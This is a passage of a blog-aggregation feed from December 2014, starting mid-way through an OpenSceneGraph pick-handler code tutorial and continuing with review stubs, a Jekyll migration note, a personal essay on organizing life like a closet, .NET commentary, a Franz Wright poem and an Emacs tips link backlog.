&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;View&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;viewer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;dynamic_cast&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;osgViewer&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;View&lt;/span&gt;&lt;span class="o"&gt;*&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;aa&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;viewer&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;osgUtil&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;LineSegmentIntersector&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;intersector&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;osgUtil&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;LineSegmentIntersector&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;osgUtil&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Intersector&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;WINDOW&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getX&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getY&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;osgUtil&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;IntersectionVisitor&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;intersector&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;osg&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Camera&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;camera&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;viewer&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getCamera&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;camera&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;camera&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;intersector&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;containsIntersections&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;intersections&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;intersector&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;getIntersections&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"Got "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;intersections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;" intersections:&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nl"&gt;intersection&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;intersections&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;      &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"  - Local intersection point = "&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;intersection&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;localIntersectionPoint&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;localIntersectionPoint&lt;/code&gt; variable contains the intersection point in
local coordinates. It is also possible to obtain the intersection point
in &lt;em&gt;world coordinates&lt;/em&gt; by calling the &lt;code&gt;getWorldIntersectPoint()&lt;/code&gt;
function of the intersection.&lt;/p&gt;
&lt;h1 id="a-shortcut"&gt;A shortcut&lt;/h1&gt;
&lt;p&gt;Instead of setting up our own line segment intersector, we could also
call the &lt;code&gt;osgViewer::View::computeIntersections&lt;/code&gt; of our view. This
involves a dynamic cast in the &lt;code&gt;handle&lt;/code&gt; function. The way outlined above
is for instructive purposes only.&lt;/p&gt;
&lt;h1 id="code"&gt;Code&lt;/h1&gt;
&lt;p&gt;As always, the code is available in a &lt;a href="http://github.com/Pseudomanifold/QtOSG"&gt;git repository&lt;/a&gt;.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sun, 07 Dec 2014 18:10:22 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/simple_pick_handler_osg/</guid></item><item><title>Indie Game: The Movie</title><link>https://olshansky.info/movie/indie_game_the_movie/</link><description>Olshansky's review of Indie Game: The Movie</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 06 Dec 2014 11:51:28 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/indie_game_the_movie/</guid></item><item><title>Better Call Saul: Season 1</title><link>https://olshansky.info/tv/better_call_saul_season_1/</link><description>Olshansky's review of Better Call Saul: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 06 Dec 2014 08:14:31 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/better_call_saul_season_1/</guid></item><item><title>Hyperion (Hyperion Cantos, #1)</title><link>https://olshansky.info/book/hyperion_hyperion_cantos_1/</link><description>Olshansky's review of Hyperion (Hyperion Cantos, #1) by Dan Simmons</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 06 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/hyperion_hyperion_cantos_1/</guid></item><item><title>New blog, new app, new screenshots</title><link>https://etodd.io/2014/12/05/new-blog-new-app-new-screens/</link><description>&lt;p&gt;Lots of stuff going on this week.&lt;/p&gt;
&lt;h3&gt;New dev blog&lt;/h3&gt;
&lt;p&gt;First off, my &lt;a href="https://etodd.io/"&gt;website&lt;/a&gt; got a much-needed overhaul. The horrible slowness of Wordpress.com was driving me nuts, so I switched to a custom-built site.&lt;/p&gt;
&lt;p&gt;I used &lt;a href="http://jekyllrb.com"&gt;Jekyll&lt;/a&gt;, which is a static site generator. It spits out a bunch of HTML files which you can upload to a server, as opposed to Wordpress, which generates fresh HTML every time someone loads your page.

&lt;p&gt;Advantages:&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 05 Dec 2014 23:00:00 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/12/05/new-blog-new-app-new-screens/</guid></item><item><title>Diamond in my closet</title><link>http://dimitarsimeonov.com/2014/12/05/diamond-in-my-closet</link><description>&lt;p&gt;I want to empty my life and then refill it again. Why? Because it is similar to the stuff I do when I am cleaning up and organizing my possessions. Say, for example, I am cleaning up a closet. I will remove everything, and then put everything back in order. This way I am certain to go through everything and address it. It is a simple algorithm but is very effective. Organizing my items serves not only hygienic or inventory purposes, but also helps to clear my mind by knowing what is where.&lt;/p&gt;

&lt;p&gt;There will be a few types of things in the closet. First, there would be items that I use often and which need to be readily accessible, these would be organized for quick access. Then, there are tools that I only need on rare occasions but when need them, I remember them, and they prove very useful and they save me from a lot of trouble. These items need to be organized in a way that I can easily find them when I am searching for them. Having a container, like a tool box, helps with finding tools. In order to find a given tool, I only need to be able to know in which toolbox it is. So I will group the rarely useful tools in toolboxes and containers.&lt;/p&gt;

&lt;p&gt;Next, as I am going through the items in the closet, I will discover some old and forgotten items. Some of them will have sentimental value, and I will decide to keep them just for the memory, as they might be irreplaceable. Other items would be obviously for throw away and I will put them aside to be discarded. The pile of items to be discarded would grow to a nice size over time, which would give me a very tangible progress indicator. It also feels really good to look at the the set of thing that are going to trash or donation and to think “Yeah, no more of this crap!”&lt;/p&gt;

&lt;p&gt;Finally, in the closet, there will be some items that I needed recently but didn’t use because I didn’t remember where they were. At first, it might seem tricky to decide what to do with them. Maybe I will need them again in the near future, therefore I should keep them around and organize them in toolboxes. But the more likely case is that even if I need them again, I wouldn’t remember to use them. Last time I needed them, I didn’t use them, and instead I found another way to solve, or to ignore the problem. The problem wasn’t so grave that it prompted me to remember that I have these items. So after a second thought, the correct solution is &lt;em&gt;always&lt;/em&gt; to get rid of them. They go to the discard pile. They wouldn’t be useful in the future, simply because I wouldn’t be using them. Going through this logic requires effort, but once I’ve the decision for one forgotten item, it is easier to extend to others, and to make my discard pile bigger.&lt;/p&gt;

&lt;p&gt;If I could use the same techniques to organize my life things would be easier, right?&lt;/p&gt;

&lt;p&gt;But organizing life is so much more complex than organizing a closet. Or is it? Looking at a closet, it is quite easy to say whether it is organized or messy, whether it is full or empty, whether it has nice stuff or rubbish inside. A closet has constant, unchangeable amount of volume - you can only put so many things in there. All closets are comparable. Whereas different people live different lives. Some people are dealing with so many different things in their life that it seems like they have infinite capacity for action. Well… whether they have infinite capacity or not, all of them, and all the rest of us have the same amount of time per day, twenty four hours.&lt;/p&gt;

&lt;p&gt;We can instantly tell how filled somebody’s life is based on how much empty time they have, where empty time is defined by the time they can afford to do whatever they want, even do nothing. It is a pretty crude and lousy metaphor, but it is useful, at least for me, when thinking about how filled my own life is. In my opinion, there is a correlation between emptier life and a more flexible life. The higher proportion of the time one is free, higher opportunity they have for trying different things. And for procrastinating…&lt;/p&gt;

&lt;p&gt;Going back to the closet metaphor, not all space in the closet is equal as well. The space closer to the door provides quickest access to items put there, and the space further back often requires that we move aside the front-facing items aside before we can access the stuff in the back. Unless we sacrifice a bunch of the prime front space and leave it empty, in order to make access to the back easier. Space, which is close to the floor of the closet allows for items to be placed directly there. If nothing can be placed on top of these items, then the space above is wasted. Thus, a lot of closets might seem pretty full but they actually have plenty of free volume that can be used if one can figure out how to make use of vertical space.&lt;/p&gt;

&lt;p&gt;Back to life-time as a metaphor for closet-volume, we can note that all time is equal. Time during which we are well rested, nourished, strong and focused is prime. During this time we can perform our best and enjoy life maximally. Both in personal as well as in professional aspect. Whether we will actually do perform is a different matter that depends on environment and motivation, but nonetheless we are at the maximum of our abilities. Unfortunately, we are not rested, nourished and focused all the time. We need to sleep, eat, exercise and relax in order to get the best out of our bodies and minds. We have to spend time to do so. While in a closet, prime space is the most easily accessible, in life, prime time is harder to access. Prime time is further deep in the closet of our life and in order to reach it, we need to dedicate other time that is easier to access. We have to &lt;em&gt;make&lt;/em&gt; time for sleep, food, exercise and rest in order to &lt;em&gt;have&lt;/em&gt; time to do fun things or to be productive.&lt;/p&gt;

&lt;p&gt;When we are productive, and dedicate certain amount of time, we can transform our time into artifacts, experiences and possessions. We can replace our current life closet with a different, future one that has other items in it. Or one with the items rearranged. This is what happens when we make decisions and put our time towards a certain goal, cause or entertainment. We actively manage and organize our lives.&lt;/p&gt;

&lt;p&gt;Evaluating whether a someone else’s life is organized or messy seem actually quite easy, based on our observations of them, but it actually is very error prone. People who look messy, might be following a system that is obvious only to them, and people who seem perfectly in control may actually get into a lot of trouble when things get derailed a little bit. Even a homeless person might have a very organized life, and a big company CEO might have messiness in their life. Nevertheless, we can define messiness and organizedness in the abstract,  saying that a life is organized if &lt;em&gt;all&lt;/em&gt; of it can be described compactly and messy if it cannot.&lt;/p&gt;

&lt;p&gt;Whether a life is filled with nice stuff or rubbish is very subjective. It comes down to personal choice and taste. Or lack thereof.&lt;/p&gt;

&lt;p&gt;I prefer doing certain things in my time. Other people prefer other things. This can only be evaluated by the person living the life’s liver, and the quality of the contents is arguably more important than whether the life is organized and than how full or empty the life is. Prisoners have very orderly life, but I doubt they enjoy it.&lt;/p&gt;

&lt;p&gt;Imagine the life of one of the great historic figures that you admire, a ruler, a writer, a philosopher, an activist, etc. In order to do something worthy of your admiration, they must have done something admirable during their life. Whether it is Nelson Mandela who fought apartheid, and then found power to reconcile with his oppressors, or Alexander or Caesar who conquered and united vast areas, or Jesus or Buddha who created religions that affected billions of people, the admired person had something really good in their life. If you think of their life as their own closet, each of them had a diamond in it. A diamond is an item that other people would envy and admire, but the owner of the diamond my get very little usefulness off it. Maria Currie is revered for her work on radiation, but it ultimately costed her her life. Users who create diamonds really value them, but might not always enjoy them.&lt;/p&gt;

&lt;p&gt;Diamonds require a certain degree of luck, but striving for them and putting the effort in is an achievable goal. We aren’t guaranteed to succeed in making something amazing and eternal, a dent in the universe, and a model to be followed. But we can sure give our best effort to make the most of our lives. I want to organize my life because if I do, I will be able to put more effort in. If we don’t put the effort, we have no chance of finding a diamond.&lt;/p&gt;</description><author>D13V</author><pubDate>Fri, 05 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/12/05/diamond-in-my-closet</guid></item><item><title>Some Thoughts on the new .NET (Redux)</title><link>https://nicolaiarocci.com/some-thoughts-on-the-new-net-redux/</link><description>&lt;p&gt;Like all those involved with the .NET ecosystem I’ve been slowly digesting the recent news on the whole thing going open source and cross platform. I’ve been jogging down a few notes in light of a future blog post, but then Jeremy Miller came out with his own &lt;a href="http://jeremydmiller.com/2014/12/02/some-thoughts-on-the-new-net/"&gt;Some Thoughts on the New .NET&lt;/a&gt; which is almost exactly the post I wanted to write. So when he writes:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I’ve started to associate .Net “classic” with seemingly constant aggravations like strong naming conflicts, csproj file merge hell, slow compilation, slow nuget restores, and how absurdly heavyweight and bloated that Visual Studio.Net has become over the years.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Thu, 04 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/some-thoughts-on-the-new-net-redux/</guid></item><item><title>Letter by Franz Wright</title><link>https://ho.dges.online/words/commonplace/letter-by-franz-wright/</link><description>&lt;p&gt;&lt;em&gt;I&amp;rsquo;d never heard of Franz Wright until I happened across an album of music - drone-y, very minimalist music - that was inspired by his poems. I&amp;rsquo;ve not read many of them but this one I found intriguing.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I am not acquainted with anyone&lt;br /&gt;
there, if they spoke to me&lt;br /&gt;
I would not know what to do.&lt;br /&gt;
But so far nobody has, I know&lt;br /&gt;
I certainly wouldn&amp;rsquo;t.&lt;br /&gt;
I don&amp;rsquo;t participate, I&amp;rsquo;m not allowed;&lt;br /&gt;
I just listen, and every morning&lt;br /&gt;
have a moment of such happiness, I breathe&lt;br /&gt;
and breathe until the terror returns. About the time&lt;br /&gt;
when they are supposed to greet one another&lt;br /&gt;
two people actually look into each other&amp;rsquo;s eyes&lt;br /&gt;
and hold hands a moment, but&lt;br /&gt;
the church is so big and the few who are there&lt;br /&gt;
are seated far apart. So this presents no real problem.&lt;br /&gt;
I keep my eyes fixed on the great naked corpse, the vertical&lt;br /&gt;
corpse&lt;br /&gt;
who is said to be love&lt;br /&gt;
and who spoke the world&lt;br /&gt;
into being, before coming here&lt;br /&gt;
to be tortured and executed by it.&lt;br /&gt;
I don&amp;rsquo;t know what I am doing there. I do&lt;br /&gt;
notice the more I lose touch&lt;br /&gt;
with what I previously saw as my life&lt;br /&gt;
the more real my spot in the dark winter pew becomes —&lt;br /&gt;
it is infinite. What we experience&lt;br /&gt;
as space, the sky&lt;br /&gt;
that is, the sun, the stars&lt;br /&gt;
is intimate and rather small by comparison.&lt;br /&gt;
When I step outside the ugliness is so shattering&lt;br /&gt;
it has become dear to me, like a retarded&lt;br /&gt;
child, precious to me.&lt;br /&gt;
If only I could tell someone.&lt;br /&gt;
The humiliation I go through&lt;br /&gt;
when I think of my past&lt;br /&gt;
can only be described as grace.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Thu, 04 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/letter-by-franz-wright/</guid></item><item><title>Emacs tips backlog</title><link>https://xenodium.com/emacs-tips-backlog</link><description>&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/mrkkrp/typit"&gt;Typit: typing game for Emacs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/Wilfred/pyimport"&gt;pyimports&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://sriramkswamy.github.io/dotemacs/"&gt;Sriram Krishnaswamy's init&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://williambert.online/2014/02/using-a-node-repl-with-emacs/"&gt;Using a Node repl in Emacs with nvm and npm&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/afainer/arview"&gt;arview&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/PythonNut/company-flx"&gt;company-flx: fuzzy matching to company&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://melpa.org/?utm_source=dlvr.it&amp;amp;utm_medium=twitter#/go-guru"&gt;Integration of the Go 'guru' analysis tool into Emacs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/company-mode/company-statistics"&gt;company-mode/company-statistics: Sort completion candidates by previous completion choices&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.youtube.com/watch?v=mtliRYQd0j4&amp;amp;feature=youtu.be"&gt;Rewrite git history with Emacs, magit and git rebase&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/trezona-lecomte/coverage"&gt;Code coverage highlighting for Emacs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://elpa.gnu.org/packages/tramp-theme.html"&gt;tramp-theme&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/alexmurray/cstyle"&gt;cstyle&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/sigma/dotemacs/blob/master/lisp/config/go-config.el"&gt;A go Emacs config&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://clubctrl.com/org/prog/howto.html"&gt;Try out ox-twbs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://ergoemacs.org/emacs/function-frequency.html"&gt;Emacs Lisp function frequency&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://emacs.stackexchange.com/questions/7908/how-to-make-yasnippet-and-company-work-nicer"&gt;How to make yasnippet and company work nicer? (Stack Exchange)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/nekop/yasnippet-java-mode/blob/master/java-snippets.el"&gt;yasnippet-java-mode/java-snippets.el&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/Lindydancer/font-lock-studio"&gt;font-lock-studio&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/jorgenschaefer/emacs-buttercup"&gt;buttercup&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/niku/markdown-preview-eww"&gt;markdown-preview-eww&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://puntoblogspot.blogspot.co.uk/2016/01/til-ediff-revision.html?m=1"&gt;ediff-revision and magit-find-file to compare branches&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/Gnouc/flycheck-checkbashisms/blob/master/README.md"&gt;Flycheck linter for sh using checkbashisms&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://draketo.de/light/english/free-software/el-kanban-org-table"&gt;El Kanban Org: parse org-mode todo-states to use org-tables as Kanban tables&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://qiita.com/fujimisakari/items/a6ff082f0e8eddc09511"&gt;Emacs iOS development (qiita)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://blog.fujimisakari.com/Emacs%25E3%2581%25A6%25E3%2582%2599iOS%25E9%2596%258B%25E7%2599%25BA-objective-c-%25E3%2581%2599%25E3%2582%258B%25E3%2581%259F%25E3%2582%2581%25E3%2581%25AE%25E7%2592%25B0%25E5%25A2%2583%25E6%25A7%258B%25E7%25AF%2589/"&gt;Emacs iOS development (fujimisakari)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://orgmode.org/worg/org-tutorials/encrypting-files.html"&gt;encrypting org files&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/flycheck/flycheck-pos-tip"&gt;flycheck-pos-tip&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://tiborsimko.org/emacs-epydoc-snippets.html"&gt;Writing Python Docstrings with Emacs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/To1ne/temacco/commit/6a084365ae137db2cdd035b7533847880d8c6cac"&gt;Try Completion for Objective-C (Github diff)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/steckerhalter/emacs-fasd"&gt;Emacs fasd support&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/benma/visual-regexp.el"&gt;visual-regexp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://emacsredux.com/blog/2014/05/16/opening-large-files/"&gt;Open large files&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/nathankot/company-sourcekit"&gt;company-sourcekit&lt;/a&gt; (Swift completion): &lt;a href="https://github.com/wiruzx/dotfiles/blob/master/.emacs#L24"&gt;sample config&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/dakrone/emacs-java-imports"&gt;emacs-java-imports&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} append-to-buffer.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/wavexx/python-x.el"&gt;python-x: extras for interactive evaluation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/emacsmirror/outlined-elisp-mode"&gt;outlined-elisp-mode&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://github.com/tj64/outline-magic"&gt;outlien-magic&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Gutter and linum+ config (see &lt;a href="https://github.com/zvlex/dotfiles"&gt;zvlex/dotfiles&lt;/a&gt;).&lt;/p&gt;
